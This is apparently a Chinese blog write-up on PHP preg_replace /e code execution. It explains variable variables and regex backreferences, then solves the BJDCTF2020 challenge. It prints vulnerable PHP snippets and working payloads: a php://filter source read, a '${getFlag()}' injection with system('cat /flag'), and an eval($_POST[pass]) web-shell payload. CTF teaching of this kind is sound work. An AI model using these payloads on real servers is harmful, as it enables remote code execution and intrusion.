preg_replace /e
漏洞分析
tips
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
)
/e模式下
在subject字符中正则匹配pattern,匹配成功则执行$replacement
<?php
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>
高版本中不支持preg_replace函数
payload中;不加也行
php可变变量
这里补充一下php可变变量这个知识点
<?php
$change_name = 'hello';
$hello = 'Hello World';
echo $$change_name; //echo $hello
?>
再看下边的例子
<?php
$a = 'hello';
$$a = 'world'; //$hello=world
echo "$a $hello";
echo "$a ${$a}"; //$a $hello
echo '${$a}'; //单引号不解析原样输出${$a}
?>
进阶玩法
<?php
error_reporting(0);
function complexStrtolower($regex, $value){
return preg_replace('/('.$regex.')/ei', 'strtolower("\\1")', $value);
}
foreach($_REQUEST as $regex => $value){
echo complexStrtolower($regex, $value) . "\n";
}
highlight_file(__FILE__);
?>
分析一下这段代码
return preg_replace('/('.$regex.')/ei', 'strtolower("\\1")', $value);
/e模式下可命令执行,$replacement
不再由用户控制
关键在于
strtolower("\\1")
因为字符串中的特殊字符需要转义, 所以 \\1 实际上就是 \1 , 而 \1在正则表达式中表示反向引用。
反向引用:
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从1开始,最多可存储99个捕获的子表达式。每个缓冲区都可以使用 \n访问,其中n为一个标识特定缓冲区的一位或两位十进制数。
所以最终 \1
就捕获到了 {${phpinfo()}}
, 所以最终 strtolower("{${phpinfo()}}")
就被当做代码执行了。
例题
[BJDCTF2020]ZJCTF,不过如此
前边考点是php伪协议读取文件
?text=data:text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
源码如下
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
根据以上的分析
?.*={${getFlag()}}&cmd=system('ls');
但是由于php
解析特性第一个.
无法传输,php解析特性的姿势可以看我博客
可以通过get_defined_vars()
看一下被解析后的参数
这里我们换另外的
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
最终payload,注意要在next.php的路由下
?\S*=${getFlag()}&cmd=system('cat /flag');
其他姿势
?\S*=${eval($_POST[pass])}
说些什么吧!